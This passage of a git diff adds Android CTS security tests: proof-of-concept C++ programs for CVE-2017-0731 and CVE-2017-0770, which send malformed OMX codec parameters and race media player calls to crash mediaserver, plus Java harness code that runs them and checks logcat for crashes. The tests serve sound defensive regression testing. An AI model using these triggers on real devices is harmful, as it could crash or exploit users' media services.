+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    memset(memory->pointer(), 0xCF, inBufferSize);
+    err = service->useBuffer(node, 0, memory, &inBufferId[i],
+                             inBufferSize /*allottedSize*/);
+    ALOGI("useBuffer 0, port index 0, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    err = service->useBuffer(node, 1 /*out port index*/, memory,
+                             &outBufferId[i], outBufferSize);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+  }
+
+  // change state from loaded to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, 2);
+  ALOGI("sendCommand, err: %d", err);
+
+  // change state from idle to executing
+  err = service->sendCommand(node, OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = service->emptyBuffer(node, inBufferId[i], 0,
+                               0 /*range_length, nFilledLen*/, 0 /*flags*/, 0,
+                               fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = service->fillBuffer(node, outBufferId[i], fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+
+  sleep(2);
+
+  // change state from executing to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateIdle);
+  ALOGI("sendCommand, err: %d", err);
+
+  // change state from executing to idle
+  err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateLoaded);
+  ALOGI("sendCommand, err: %d", err);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = service->freeBuffer(node, 0, inBufferId[i]);
+    ALOGI("freeBuffer port 0, err: %d", err);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = service->freeBuffer(node, 1, outBufferId[i]);
+    ALOGI("freeBuffer port 1, err: %d", err);
+  }
+
+  {
+    sleep(2);
+
+    /* set mWidth and mHeight*/
+    int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+        (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nBufferCountActual = 4;
+    params->nBufferCountMin = 4;
+    params->nPortIndex = 0;  // input
+    params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+    params->format.video.nFrameWidth = 1024;
+    params->format.video.nFrameHeight = 1024;
+
+    err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+                                paramsSize);
+    ALOGI("setParameter, err: %d", err);
+
+    // get input port parameters
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    InitOMXParams(&def);
+    def.nPortIndex = 0;
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                                sizeof(def));
+    ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+          def.nBufferSize);
+
+    // prepare input port buffers
+    int inMemSize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCnt = def.nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+
+    // get output port parameters
+    InitOMXParams(&def);
+    def.nPortIndex = 1;
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+                                sizeof(def));
+    ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+          def.nBufferSize);
+
+    // prepare output port buffers
+    int outMemSize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+
+    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    for (int i = 0; i < inBufferCnt; i++) {
+      sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+      memset(memory->pointer(), 0xCF, inBufferSize);
+      err = service->useBuffer(node, 0, memory, &inBufferId[i],
+                               inBufferSize /*allottedSize*/);
+      ALOGI("useBuffer 0, port index 0, err: %d", err);
+    }
+
+    for (int i = 0; i < outBufferCnt; i++) {
+      sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+      err = service->useBuffer(node, 1 /*out port index*/, memory,
+                               &outBufferId[i], outBufferSize);
+      ALOGI("useBuffer, port index 1, err: %d", err);
+    }
+
+    // change state from loaded to idle
+    err = service->sendCommand(node, OMX_CommandStateSet, 2);
+    ALOGI("sendCommand, err: %d", err);
+
+    // change state from idle to executing
+    err = service->sendCommand(node, OMX_CommandStateSet, 3);
+    ALOGI("sendCommand, err: %d", err);
+
+    for (int i = 0; i < inBufferCnt; i++) {
+      err = service->emptyBuffer(node, inBufferId[i], 0,
+                                 inBufferSize /*range_length, nFilledLen*/,
+                                 0 /*flags*/, 0, fenceFd);
+      ALOGI("emptyBuffer, err: %d", err);
+    }
+
+    for (int i = 0; i < outBufferCnt; i++) {
+      err = service->fillBuffer(node, outBufferId[i], fenceFd);
+      ALOGI("fillBuffer, err: %d", err);
+    }
+  }
+  err = service->freeNode(node);
+  ALOGI("freeNode, err: %d", err);
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk
new file mode 100644
index 0000000..7709ee1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk
@@ -0,0 +1,56 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0731
+LOCAL_SRC_FILES:= poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+	libstagefright libmedia libutils libstagefright_foundation \
+         libgui libcutils liblog libcamera_client libradio libsoundtrigger libui
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+	frameworks/av/media/libstagefright \
+	frameworks/av/media/libstagefright/include \
+	$(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/frameworks/native/services/surfaceflinger \
+	system/media/camera/include \
+	system/media/private/camera/include \
+	system/media/camera/tests \
+	frameworks/av/services/camera/libcameraservice \
+	frameworks/av/include/camera \
+	frameworks/native/include \
+	system/core/gatekeeperd \
+    $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \
+    $(TOP)/hardware/qcom/media/mm-video-v4l2/vidc/vdec/inc \
+    $(TOP)/hardware/libhardware/modules/gralloc \
+    $(TOP)/system/media/audio_effects/include \
+    $(TOP)/system/bt \
+    $(TOP)/system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wno-multichar  -Wall -fpermissive
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h
new file mode 100644
index 0000000..f98c6ca
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h
@@ -0,0 +1,86 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __FUZZ_H__
+#define __FUZZ_H__
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+#include <binder/IPCThreadState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/mediametadataretriever.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/IHDCP.h>
+#include <media/IMediaRecorder.h>
+#include <media/ICrypto.h>
+#include <media/IMediaCodecList.h>
+
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+#include <media/AudioEffect.h>
+
+#include <gui/ISensorServer.h>
+#include <gui/ISensorEventConnection.h>
+
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryBase.h>
+#include <binder/MemoryHeapBase.h>
+
+using namespace android;
+
+//
+// OMX family
+//
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp
new file mode 100644
index 0000000..6f95736
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "local_poc.h"
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+#include "OMX_Component.h"
+#include "gralloc_priv.h"
+#include <media/hardware/HardwareAPI.h>
+
+struct DummyOMXObserver: public BnOMXObserver {
+public:
+    DummyOMXObserver() {
+        ALOGI("DummyOMXObserver, this: %p", this);
+    }
+
+    virtual void onMessages(const std::list<omx_message> &messages) {
+        ALOGI("dummy omx observer");
+        if (messages.empty()) {
+            return;
+        }
+    }
+
+protected:
+    virtual ~DummyOMXObserver() {
+    }
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+    sp<IServiceManager> sm = defaultServiceManager();
+
+    sp<IBinder> binder = sm->getService(String16("media.player"));
+    sp<IMediaPlayerService> mediaPlayerService = interface_cast<
+            IMediaPlayerService>(binder);
+
+    if (mediaPlayerService == NULL) {
+        ALOGE("cannot get the media player service");
+        return false;
+    }
+
+    omx = mediaPlayerService->getOMX();
+    if (omx == NULL) {
+        ALOGE("cannot get the OMX interface");
+        return false;
+    }
+
+    return true;
+}
+
+int main() {
+    sp<IOMX> service;
+    if (connectOMX(service) == false)
+        return -1;
+    IOMX::node_id node = 0;
+    int fenceFd = -1;
+
+    sp<DummyOMXObserver> observer = new DummyOMXObserver();
+    char *codecName = "OMX.google.mpeg4.encoder";
+    status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+    if (err != OK) {
+        return -1;
+    }
+
+    // get input port parameters
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    InitOMXParams(&def);
+    def.nPortIndex = 0;
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+    def.nBufferSize = 11182506;
+    def.format.video.nFrameWidth = -3200000;
+    def.format.video.nFrameHeight = 0;
+    err = service->setParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+    // prepare input port buffers
+    int inMemSize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCnt = def.nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+
+    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    // get output port parameters
+    InitOMXParams(&def);
+    def.nPortIndex = 1;
+
+    err = service->getParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+    // prepare output port buffers
+    int outMemSize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+
+    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    // enable allocate_native_handle
+    err = service->enableNativeBuffers(node, 2, (OMX_BOOL)2, (OMX_BOOL)0);
+
+    for (int i = 0; i < inBufferCnt; i++) {
+        sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+        err = service->useBuffer(node, 0, memory, &inBufferId[i], inBufferSize/*allottedSize*/);
+    }
+
+    for (int i = 0; i < outBufferCnt; i++) {
+        sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+        if (memory == 0 || memory->pointer() == NULL) {
+            return -1;
+        }
+        err = service->allocateBufferWithBackup(node, 1/*in port index*/, memory, &outBufferId[i], outBufferSize);
+    }
+
+    // change state from loaded to idle
+    err = service->sendCommand(node, OMX_CommandStateSet, 2);
+
+    // change state from idle to executing
+    err = service->sendCommand(node, OMX_CommandStateSet, 3);
+
+    sleep(3);
+
+    for (int i = 0; i < inBufferCnt; i++) {
+        err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0, fenceFd);
+    }
+
+    for (int i = 0; i <outBufferCnt ; i++) {
+        err = service->fillBuffer(node, outBufferId[i], fenceFd);
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk
new file mode 100644
index 0000000..c153350
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk
@@ -0,0 +1,53 @@
+#Copyright(C) 2017 The Android Open Source Project
+#
+#Licensed under the Apache License, Version 2.0(the "License");
+#you may not use this file except in compliance with the License.
+#You may obtain a copy of the License at
+#
+#http:  // www.apache.org/licenses/LICENSE-2.0
+#
+#Unless required by applicable law or agreed to in writing, software
+#distributed under the License is distributed on an "AS IS" BASIS,
+#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#See the License for the specific language governing permissions and
+#limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0770
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_COMPATIBILITY_SUPPORT_FILES += $(LOCAL_PATH)/cve_2017_0770.mp4:cve_2017_0770.mp4
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libstagefright libmedia libutils libstagefright_foundation \
+    libgui libcutils liblog libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+    frameworks/av/media/libstagefright \
+    frameworks/av/media/libstagefright/include \
+    $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/frameworks/native/services/surfaceflinger \
+    frameworks/native/include \
+    system/core/gatekeeperd \
+    $(TOP)/system/media/audio_effects/include \
+    $(TOP)/system/bt \
+    $(TOP)/system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4 b/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4
new file mode 100644
index 0000000..01f49b2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp
new file mode 100644
index 0000000..72c3c08
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp
@@ -0,0 +1,203 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+
+#include <media/mediametadataretriever.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/ICrypto.h>
+#include <media/IHDCP.h>
+#include <media/IMediaCodecList.h>
+#include <media/IMediaRecorder.h>
+
+#include <media/AudioEffect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+
+#include <gui/ISensorEventConnection.h>
+#include <gui/ISensorServer.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/CpuConsumer.h>
+
+using namespace android;
+
+sp<IMediaPlayer> mp;
+static int gFd;
+
+void *setThread1(void *) {
+  status_t err;
+  while (1) {
+    if (mp != NULL) {
+      mp->setDataSource(gFd, 0, 800);
+    } else {
+      usleep(5000);
+    }
+  }
+  return NULL;
+}
+
+void *setThread2(void *) {
+  status_t err;
+  while (1) {
+    if (mp != NULL) {
+      mp->disconnect();
+    } else {
+      usleep(5000);
+    }
+  }
+  return NULL;
+}
+
+void *setThread3(void *) {
+  status_t err;
+  while (1) {
+    if (mp != NULL) {
+      sp<IGraphicBufferProducer> producer;
+      sp<IGraphicBufferConsumer> consumer;
+      BufferQueue::createBufferQueue(&producer, &consumer);
+      consumer->setConsumerName(String8("test"));
+      consumer->setConsumerUsageBits(GRALLOC_USAGE_HW_VIDEO_ENCODER);
+
+      sp<BufferQueue::ProxyConsumerListener> proxy =
+          new BufferQueue::ProxyConsumerListener(NULL);
+      consumer->consumerConnect(proxy, false);
+
+      err = mp->setVideoSurfaceTexture(producer);
+    } else {
+      usleep(5000);
+    }
+  }
+  return NULL;
+}
+
+int gDumpFd;
+static void *dumpThread(void *) {
+  Parcel data, reply;
+  data.writeFileDescriptor(gDumpFd, false);
+  data.writeInt32(0);
+
+  while (1) {
+    if (mp != NULL)
+      IInterface::asBinder(mp)->transact(1598311760 /*DUMP_TRANSACTION*/, data,
+                                         &reply);
+  }
+
+  return NULL;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+ public:
+  MyDeathRecipient() : mDied(false) {}
+  virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
+  bool died() const { return mDied; }
+
+ private:
+  bool mDied;
+};
+
+void poc() {
+  const char *fileName = "/sdcard/cve_2017_0770.mp4";
+  gFd = open(fileName, O_RDWR | O_CREAT, 0744);
+
+  if (gFd == -1) {
+    return;
+  }
+
+  pthread_t pt[100];
+
+  for (int i = 20; i < 40; i++) pthread_create(&pt[i], NULL, setThread2, NULL);
+
+  for (int i = 0; i < 20; i++) pthread_create(&pt[i], NULL, setThread1, NULL);
+
+  for (int i = 40; i < 60; i++) pthread_create(&pt[i], NULL, setThread3, NULL);
+
+  do {
+    sp<IServiceManager> sm = defaultServiceManager();
+
+    sp<IBinder> binder = sm->getService(String16("media.player"));
+    sp<IMediaPlayerService> mediaPlayerService =
+        interface_cast<IMediaPlayerService>(binder);
+
+    if (mediaPlayerService == NULL) {
+      sleep(1);
+      binder = sm->getService(String16("media.player"));
+      mediaPlayerService = interface_cast<IMediaPlayerService>(binder);
+      if (mediaPlayerService == NULL) {
+        return;
+      }
+    }
+
+    sp<MyDeathRecipient> dr = new MyDeathRecipient();
+    binder->linkToDeath(dr);
+
+    sp<IMediaPlayerClient> client;
+    audio_session_t audioSessionId = AUDIO_SESSION_NONE;
+    status_t err;
+
+    mp = mediaPlayerService->create(client, audioSessionId);
+    if (mp == NULL) {
+      return;
+    }
+
+  } while (1);
+}
+
+int main() {
+  android::ProcessState::self()->startThreadPool();
+  poc();
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index 60c4e39..0190683 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -21,6 +21,7 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import android.platform.test.annotations.RootPermissionTest;
 
@@ -32,7 +33,6 @@
 import java.io.OutputStream;
 import java.util.Scanner;
 import java.util.concurrent.TimeUnit;
-import java.util.regex.Pattern;
 
 public class AdbUtils {
 
@@ -61,7 +61,7 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pathToPoc a string path to poc from the /res folder
+     * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
@@ -90,6 +90,48 @@
     }
 
     /**
+     * Enables malloc debug on a given process.
+     *
+     * @param processName the name of the process to run with libc malloc debug
+     * @param device the device to use
+     * @return true if enabling malloc debug succeeded
+     */
+    public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
+        device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
+        device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
+        /**
+         * The pidof command is being avoided because it does not exist on versions before M, and
+         * it behaves differently between M and N.
+         * Also considered was the ps -AoPID,CMDLINE command, but ps does not support options on
+         * versions before O.
+         * The [^]] prefix is being used for the grep command to avoid the case where the output of
+         * ps includes the grep command itself.
+         */
+        String cmdOut = device.executeShellCommand("ps | grep '[^]]" + processName + "'");
+        /**
+         * .hasNextInt() checks if the next token can be parsed as an integer, not if any remaining
+         * token is an integer.
+         * Example command: $ ps | fgrep mediaserver
+         * Out: media     269   1     77016  24416 binder_thr 00f35142ec S /system/bin/mediaserver
+         * The second field of the output is the PID, which is needed to restart the process.
+         */
+        Scanner s = new Scanner(cmdOut).useDelimiter("\\D+");
+        if(!s.hasNextInt()) {
+            CLog.w("Could not find pid for process: " + processName);
+            return false;
+        }
+
+        String result = device.executeShellCommand("kill -9 " + s.nextInt());
+        if(!result.equals("")) {
+            CLog.w("Could not restart process: " + processName);
+            return false;
+        }
+
+        TimeUnit.SECONDS.sleep(1);
+        return true;
+    }
+
+    /**
      * Pushes and installs an apk to the selected device
      *
      * @param pathToApk a string path to apk from the /res folder
@@ -108,6 +150,24 @@
         }
     }
 
+    /**
+     * Extracts a resource and pushes it to the device
+     *
+     * @param fullResourceName a string path to resource from the res folder
+     * @param deviceFilePath the remote destination absolute file path
+     * @param device device to be ran on
+     */
+    public static void pushResource(String fullResourceName, String deviceFilePath,
+                                    ITestDevice device) throws Exception {
+        File resFile = File.createTempFile("CTSResource", "");
+        try {
+            resFile = extractResource(fullResourceName, resFile);
+            device.pushFile(resFile, deviceFilePath);
+        } finally {
+            resFile.delete();
+        }
+    }
+
    /**
      * Extracts the binary data from a resource and writes it to a temp file
      */
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_05.java b/hostsidetests/security/src/android/security/cts/Poc17_05.java
new file mode 100644
index 0000000..dac7462
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_05.java
@@ -0,0 +1,49 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_05 extends SecurityTestCase {
+
+    /**
+     * b/34705519
+     */
+    @SecurityTest
+    public void testPocCve_2017_0595() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0595", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcatOut);
+    }
+
+    /**
+     * b/34749392
+     */
+    @SecurityTest
+    public void testPocCve_2017_0596() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0596", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcatOut);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
new file mode 100644
index 0000000..feab599
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_07 extends SecurityTestCase {
+
+    /*
